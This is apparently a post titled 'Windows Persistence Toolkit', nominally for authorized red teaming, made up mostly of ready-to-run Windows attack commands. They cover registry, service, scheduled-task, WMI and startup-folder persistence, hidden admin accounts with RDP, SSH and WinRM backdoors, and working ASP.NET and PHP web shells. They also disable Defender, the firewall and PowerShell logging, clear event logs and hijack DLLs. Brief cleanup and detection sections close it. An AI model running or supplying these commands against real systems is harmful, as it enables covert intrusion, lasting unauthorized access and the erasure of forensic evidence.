Windows Persitence Toolkit

**xzv** · 2026-10-03T19:30:39Z

Windows Persistence Toolkit

Advanced Windows persistence techniques and backdoor methodologies for authorized penetration testing, red team operations, and security research.

Persistence Mechanisms

Registry Persistence - Run keys, Winlogon modifications
Scheduled Tasks - Time-based and event-based triggers
Windows Services - System-level persistence
WMI Event Subscriptions - Advanced stealth persistence
COM Object Hijacking - DLL injection techniques

Access Methods

RDP Backdoors - Remote Desktop with hidden users
Reverse Shells - TCP, HTTP, HTTPS callbacks
SSH Tunnels - Modern Windows SSH access
WinRM Access - Windows Remote Management
Web Shells - Browser-based command execution

Payload Formats

Executable Files - Standalone EXE payloads
Dynamic Libraries - DLL injection and hijacking
PowerShell Scripts - Memory-resident execution
Batch Scripts - Simple command-line persistence
VBScript/JScript - Windows Scripting Host payloads

Quick Start

Basic Registry Persistence

# Add persistence via Run key (system-wide)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "UpdateService" /t REG_SZ /d "C:\Windows\system32\backdoor.exe"

# User-specific persistence
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "UserService" /t REG_SZ /d "C:\Users\Public\service.exe"

Service-Based Persistence

# Create Windows service
sc create "WindowsUpdateService" binPath= "C:\Windows\system32\updater.exe" start= auto DisplayName= "Windows Update Service"

# Start service
sc start "WindowsUpdateService"

Scheduled Task Persistence

# Daily task
schtasks /create /tn "SystemMaintenance" /tr "C:\Windows\maintenance.exe" /sc daily /st 14:30

# Startup task
schtasks /create /tn "StartupTask" /tr "C:\Windows\startup.exe" /sc onstart /ru SYSTEM

Persistence Techniques

1. Registry-Based Persistence

Run Keys (Most Common)

# System-wide (requires admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "UpdateService" /t REG_SZ /d "C:\Windows\system32\update.exe"

# User-specific
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "UserService" /t REG_SZ /d "C:\Users\Public\service.exe"

# RunOnce (executes once)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "SystemCheck" /t REG_SZ /d "C:\temp\check.exe"

Advanced Registry Locations

# Winlogon Shell replacement
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "explorer.exe,C:\Windows\backdoor.exe"

# Userinit modification  
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "C:\Windows\system32\userinit.exe,C:\Windows\backdoor.exe"

# Image File Execution Options
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "C:\Windows\backdoor.exe"

2. Scheduled Task Persistence

Time-Based Tasks

# Every 5 minutes
schtasks /create /tn "SystemMonitor" /tr "C:\Windows\monitor.exe" /sc minute /mo 5 /ru SYSTEM

# Daily at specific time
schtasks /create /tn "DailyCheck" /tr "C:\Windows\check.exe" /sc daily /st 14:30

# Weekly maintenance
schtasks /create /tn "WeeklyMaintenance" /tr "C:\Windows\maintenance.exe" /sc weekly /d SUN /st 02:00

Event-Based Tasks

# On system startup
schtasks /create /tn "StartupService" /tr "C:\Windows\startup.exe" /sc onstart /ru SYSTEM

# On user logon
schtasks /create /tn "LogonScript" /tr "C:\Windows\logon.exe" /sc onlogon

# On system idle
schtasks /create /tn "IdleTask" /tr "C:\Windows\idle.exe" /sc onidle /i 10

3. Windows Service Persistence

Service Creation

# Create new service
sc create "SecurityHealthService" binPath= "C:\Windows\system32\security.exe" start= auto DisplayName= "Windows Security Health Service"

# Set service description
sc description "SecurityHealthService" "Monitors system security health and provides security updates"

# Configure service failure actions
sc failure "SecurityHealthService" reset= 86400 actions= restart/5000/restart/5000/restart/5000

# Start service
sc start "SecurityHealthService"

Service Modification

# Modify existing service
sc config "Themes" binPath= "C:\Windows\system32\svchost.exe -k netsvcs -p -s Themes && C:\Windows\backdoor.exe"

# Change service startup type
sc config "SecurityHealthService" start= auto

# Set service dependencies
sc config "SecurityHealthService" depend= "RpcSs/RPCSS"

4. WMI Event Subscription

Event Filter Creation

# Create WMI event filter (triggers every 30 minutes)
wmic /namespace:\\root\subscription PATH __EventFilter CREATE Name="SystemPerformanceFilter", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 1800 WHERE TargetInstance ISA 'Win32_PerfRawData_PerfOS_System'"

Event Consumer Creation

# Create command line event consumer
wmic /namespace:\\root\subscription PATH CommandLineEventConsumer CREATE Name="SystemPerformanceConsumer", CommandLineTemplate="C:\Windows\system32\performance.exe"

Filter-Consumer Binding

# Bind filter to consumer
wmic /namespace:\\root\subscription PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"SystemPerformanceFilter\"", Consumer="CommandLineEventConsumer.Name=\"SystemPerformanceConsumer\""

5. Startup Folder Persistence

System-Wide Startup

# All users startup folder
copy "backdoor.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\SystemUpdate.exe"

# Alternative system startup location
copy "backdoor.exe" "C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup\startup.exe"

User-Specific Startup

# Current user startup
copy "backdoor.exe" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\UserUpdate.exe"

# Specific user startup
copy "backdoor.exe" "C:\Users\TargetUser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\service.exe"

Backdoor Methods

1. RDP Backdoor Setup

User Account Creation

# Create hidden admin user
net user /add backdoor P@ssw0rd123!
net localgroup administrators backdoor /add

# Hide from login screen
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v backdoor /t REG_DWORD /d 0

# Set password never expires
wmic useraccount where "name='backdoor'" set PasswordExpires=FALSE

RDP Configuration

# Enable Remote Desktop
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0

# Enable RDP through Windows Firewall
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

# Start Terminal Service
net start TermService

# Set RDP port (optional)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389

2. SSH Backdoor (Windows 10+)

OpenSSH Installation

# Install OpenSSH Server
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0

# Start SSH service
Start-Service sshd

# Set service to automatic
Set-Service -Name sshd -StartupType 'Automatic'

# Configure firewall
New-NetFirewallRule -Name sshd -DisplayName 'OpenSSH Server (sshd)' -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22

SSH Key Configuration

# Create SSH directory
New-Item -Type Directory -Path "C:\Users\backdoor\.ssh"

# Add authorized key
Set-Content -Path "C:\Users\backdoor\.ssh\authorized_keys" -Value "ssh-rsa AAAAB3Nza... your-public-key"

# Set proper permissions
icacls "C:\Users\backdoor\.ssh\authorized_keys" /inheritance:r /grant "backdoor:F"

3. WinRM Backdoor

WinRM Configuration

# Enable WinRM
winrm quickconfig -q

# Configure WinRM for unencrypted traffic
winrm set winrm/config/service @{AllowUnencrypted="true"}

# Set authentication methods
winrm set winrm/config/service/auth @{Basic="true"}

# Add user to Remote Management group
net localgroup "Remote Management Users" backdoor /add

PowerShell Remoting

# Enable PowerShell remoting
Enable-PSRemoting -Force

# Set execution policy
Set-ExecutionPolicy RemoteSigned -Force

# Configure trusted hosts (if needed)
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "*" -Force

4. Web Shell Backdoor

ASP.NET Web Shell

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
void Page_Load(object sender, EventArgs e) {
    string cmd = Request.QueryString["cmd"];
    if (!string.IsNullOrEmpty(cmd)) {
        Process proc = new Process();
        proc.StartInfo.FileName = "cmd.exe";
        proc.StartInfo.Arguments = "/c " + cmd;
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();
        Response.Write("<pre>" + proc.StandardOutput.ReadToEnd() + "</pre>");
        proc.Close();
    }
}
</script>

PHP Web Shell

<?php
if(isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    echo "<pre>";
    system($cmd);
    echo "</pre>";
}
?>

Detection Evasion

Anti-Virus Evasion

File Attribute Manipulation

# Hide files
attrib +h +s C:\Windows\system32\backdoor.exe

# Set system timestamps
powershell "(Get-Item 'C:\Windows\system32\backdoor.exe').CreationTime = (Get-Item 'C:\Windows\system32\explorer.exe').CreationTime"
powershell "(Get-Item 'C:\Windows\system32\backdoor.exe').LastWriteTime = (Get-Item 'C:\Windows\system32\explorer.exe').LastWriteTime"

Security Software Bypass

# Disable Windows Defender (requires admin)
powershell "Set-MpPreference -DisableRealtimeMonitoring $true"
powershell "Add-MpPreference -ExclusionPath C:\Windows\system32"
powershell "Add-MpPreference -ExclusionExtension .exe"

# Disable Windows Firewall
netsh advfirewall set allprofiles state off

Log Evasion

Event Log Clearing

# Clear specific event logs
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
wevtutil cl "Windows PowerShell"

# Clear all event logs
for /f "tokens=1" %i in ('wevtutil el') do wevtutil cl "%i"

PowerShell Logging Bypass

# Disable PowerShell logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 0
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -Name "EnableTranscripting" -Value 0

Process Hiding

Service Masquerading

# Run as legitimate service
sc create "WindowsSecurityHealthService" binPath= "C:\Windows\system32\svchost.exe -k SecurityHealth -p -s SecurityHealthService"
reg add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\system32\backdoor.dll"

DLL Hijacking

# Replace legitimate DLL
copy "malicious.dll" "C:\Windows\system32\version.dll"
copy "malicious.dll" "C:\Program Files\Application\missing.dll"

Usage Examples

Complete RDP Backdoor Setup

# Create backdoor user
net user /add support P@ssw0rd2024!
net localgroup administrators support /add
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v support /t REG_DWORD /d 0

# Enable RDP
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
net start TermService

# Connect: rdesktop -u support -p 'P@ssw0rd2024!' target-ip

Registry + Service Persistence Combo

# Registry persistence
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SystemService" /t REG_SZ /d "C:\Windows\system32\service.exe"

# Service persistence
sc create "SystemService" binPath= "C:\Windows\system32\service.exe" start= auto DisplayName= "System Service"
sc start "SystemService"

# Scheduled task backup
schtasks /create /tn "SystemService" /tr "C:\Windows\system32\service.exe" /sc onstart /ru SYSTEM

WMI Stealth Persistence

# Create WMI event subscription for stealth persistence
wmic /namespace:\\root\subscription PATH __EventFilter CREATE Name="SecurityUpdate", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfRawData_PerfOS_System'"

wmic /namespace:\\root\subscription PATH CommandLineEventConsumer CREATE Name="SecurityConsumer", CommandLineTemplate="C:\Windows\system32\SecurityUpdate.exe"

wmic /namespace:\\root\subscription PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"SecurityUpdate\"", Consumer="CommandLineEventConsumer.Name=\"SecurityConsumer\""

Cleanup Procedures

Registry Cleanup

# Remove Run keys
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "UpdateService" /f
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "UserService" /f

# Restore Winlogon settings
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "explorer.exe" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "C:\Windows\system32\userinit.exe," /f

Service Cleanup

# Stop and remove services
sc stop "SecurityHealthService"
sc delete "SecurityHealthService"

# Remove service registry entries
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /f

Task Cleanup

# Remove scheduled tasks
schtasks /delete /tn "SystemMonitor" /f
schtasks /delete /tn "DailyCheck" /f
schtasks /delete /tn "StartupService" /f

WMI Cleanup

# Remove WMI subscriptions
wmic /namespace:\\root\subscription PATH __FilterToConsumerBinding WHERE "Filter=\"__EventFilter.Name='SystemPerformanceFilter'\"" DELETE
wmic /namespace:\\root\subscription PATH CommandLineEventConsumer WHERE "Name='SystemPerformanceConsumer'" DELETE
wmic /namespace:\\root\subscription PATH __EventFilter WHERE "Name='SystemPerformanceFilter'" DELETE

File Cleanup

# Remove backdoor files
del "C:\Windows\system32\backdoor.exe"
del "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\SystemUpdate.exe"
del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\UserUpdate.exe"

# Remove backdoor users
net user backdoor /delete
net user support /delete

Detection and Forensics

Common Detection Methods

Registry Monitoring - Watch for Run key modifications
Service Analysis - Examine service configurations and DLLs
Task Scheduler - Review scheduled tasks for anomalies
WMI Subscriptions - Check for persistent WMI events
User Account Auditing - Monitor for new user creation
File System Changes - Track startup folder modifications

Forensic Artifacts

Registry Hives - SYSTEM, SOFTWARE, NTUSER.DAT
Event Logs - Security, System, Application logs
Prefetch Files - Evidence of program execution
AmCache - Application execution tracking
SRUM Database - System Resource Usage Monitor
WMI Repository - Persistent WMI subscription data

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Windows Persitence Toolkit

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xzv

Windows Persistence Toolkit

Persistence Mechanisms

Access Methods

Payload Formats

Quick Start

Basic Registry Persistence

Service-Based Persistence

Scheduled Task Persistence

Persistence Techniques

1. Registry-Based Persistence

Run Keys (Most Common)

Advanced Registry Locations

2. Scheduled Task Persistence

Time-Based Tasks

Event-Based Tasks

3. Windows Service Persistence

Service Creation

Service Modification

4. WMI Event Subscription

Event Filter Creation

Event Consumer Creation

Filter-Consumer Binding

5. Startup Folder Persistence

System-Wide Startup

User-Specific Startup

Backdoor Methods

1. RDP Backdoor Setup

User Account Creation

RDP Configuration

2. SSH Backdoor (Windows 10+)

OpenSSH Installation

SSH Key Configuration

3. WinRM Backdoor

WinRM Configuration

PowerShell Remoting

4. Web Shell Backdoor

ASP.NET Web Shell

PHP Web Shell

Detection Evasion

Anti-Virus Evasion

File Attribute Manipulation

Security Software Bypass

Log Evasion

Event Log Clearing

PowerShell Logging Bypass

Process Hiding

Service Masquerading

DLL Hijacking

Usage Examples

Complete RDP Backdoor Setup

Registry + Service Persistence Combo

WMI Stealth Persistence

Cleanup Procedures

Registry Cleanup

Service Cleanup

Task Cleanup

WMI Cleanup

File Cleanup

Detection and Forensics

Common Detection Methods

Forensic Artifacts

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